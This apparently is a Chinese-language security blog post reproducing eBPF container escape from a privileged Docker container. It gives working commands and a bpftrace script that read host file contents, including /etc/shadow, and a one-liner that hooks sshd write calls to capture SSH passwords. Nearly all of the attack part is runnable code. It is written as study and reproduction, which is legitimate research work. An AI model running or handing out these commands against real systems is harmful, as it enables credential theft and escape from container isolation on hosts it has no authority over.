背景
Container escape in 2021 和 云原生安全攻防|使用eBPF逃逸容器技术分析与实践 都提到了基于ebpf的容器逃逸。
本文简要记录自己对这两篇文章的学习、复现,并给出一个demo,希望对主机安全有兴趣的读者有点帮助。
快速验证”可以用ebpf在容器中读宿主机文件”
Container escape in 2021 有一页PPT
你也可以输入以下命令,来复现上面”在容器中观测到宿主机文件内容”的效果
1 2 3 4 5
| [root@instance-h9w7mlyv ~]# docker run -it --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash root@6a6339858e9a:/# mount -t debugfs none /sys/kernel/debug root@6a6339858e9a:/# export BPFTRACE_STRLEN=200 // https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#91-bpftrace_strlen root@6a6339858e9a:/# bpftrace -e 'kretfunc:vfs_read /comm=="cat"/ {printf("%s,%d\n",str(uptr(args->buf),retval),retval);}' Attaching 1 probe...
|
bpftrace可以参考官方文档
上面是根据命令名来过滤,查看特定命令读取的文件内容。你也可以根据文件名来过滤。
比如输入以下命令
1 2 3 4 5
| [root@instance-h9w7mlyv tmp]# docker run -it -v /tmp:/tmp --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash root@b0e60d8c7219:/# mount -t debugfs none /sys/kernel/debug root@b0e60d8c7219:/# export BPFTRACE_STRLEN=150 root@b0e60d8c7219:/# bpftrace /tmp/1.bt Attaching 9 probes...
|
1.bt 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| BEGIN { printf("Tracing file content... Hit Ctrl-C to end.\n"); }
tracepoint:syscalls:sys_enter_open, tracepoint:syscalls:sys_enter_openat / strncmp(str(args->filename), "/etc/shadow", 11) == 0 / // 待观测的文件路径 { @filename[tid] = args->filename; }
tracepoint:syscalls:sys_exit_open, tracepoint:syscalls:sys_exit_openat /@filename[tid]/ { $ret = args->ret; $fd = $ret > 0 ? $ret : -1;
@fd_filenmae_map[tid, $fd] = @filename[tid]; }
tracepoint:syscalls:sys_enter_read /@fd_filenmae_map[tid, args->fd]/ { @read_buf[tid] = args->buf; }
tracepoint:syscalls:sys_exit_read /@read_buf[tid]/ { printf("filename:%s, content:%s\n", str(@filename[tid]), str(uptr(@read_buf[tid]))) }
tracepoint:syscalls:sys_enter_close /@fd_filenmae_map[tid, args->fd]/ { delete(@filename[tid]); delete(@fd_filenmae_map[tid, args->fd]); delete(@read_buf[tid]); }
END { clear(@filename); clear(@fd_filenmae_map); clear(@read_buf); }
|
验证”获取用户密码”
sshd write系统调用中会有ssh密码信息,如下
所以,你可以在容器中用 ‘tracepoint:syscalls:sys_enter_write’ 来获取ssh密码。
1 2 3 4 5
| bpftrace -e 'tracepoint:syscalls:sys_enter_write /comm=="sshd"/ { if (args->fd == 6){ printf("%s\n",str(args->buf+4)); // 前四个字节是0 } }'
|
我测试的ssh是OpenSSH_8.0p1,可能你的ssh发行版和我不同,并不一定通过hook write系统调用来获取用户密码。
总结
基于ebpf做容器逃逸时,重点是需要知道hook哪个函数。
比如 内核态eBPF程序实现容器逃逸与隐藏账号rootkit 文章中是hook哪个函数呢?
另一个重点是”ebpf怎么修改数据”。前面的两个例子都只用bpftrace观测数据,而没有修改args->buf
中的数据。
云原生安全攻防|使用eBPF逃逸容器技术分析与实践 、 lkm和ebpf rootkit分析的简要记录 的例子中都涉及到”ebpf修改数据”。
bpftrace目前只有override()
能修改部分kprobes
的返回值,所以下一篇我会用libbpf
演示”ebpf修改数据能造成什么效果”。